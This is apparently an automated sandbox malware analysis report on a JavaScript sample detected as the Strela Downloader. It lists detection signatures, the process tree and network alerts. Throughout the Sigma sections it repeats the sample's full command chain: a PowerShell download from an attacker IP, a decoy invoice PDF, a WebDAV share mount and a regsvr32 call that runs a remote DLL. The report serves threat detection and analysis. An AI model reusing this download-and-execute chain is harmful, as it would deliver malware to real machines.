Edit tour

Windows Analysis Report
2503475573085815370.js

Overview

General Information

Sample name:	2503475573085815370.js
Analysis ID:	1587543
MD5:	6b3282535afb715ce6d62f0933a44c6a
SHA1:	865d0f3d492c26e75c97be58b65469495a22085e
SHA256:	fe98acaf5a362ddfedac57d77efb0ca6416ac89d2e63255e7eda367a4a755799
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1804 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4052 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3424 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3728 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3700 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7232 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1556,i,7867545893570432447,8989742260795296181,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2924 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5328 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2324 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1804	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4052, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3424, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4052, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3424, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", ProcessId: 1804, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5328, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ProcessId: 4052, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ProcessId: 4052, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ProcessId: 4052, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ProcessId: 4052, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ProcessId: 4052, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", ProcessId: 1804, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4052, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3424, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5328, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2324, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5328, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1804, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll, ProcessId: 4052, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:38:09.269925+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:38:06.804828+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2503475573085815370.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2503475573085815370.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:38:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

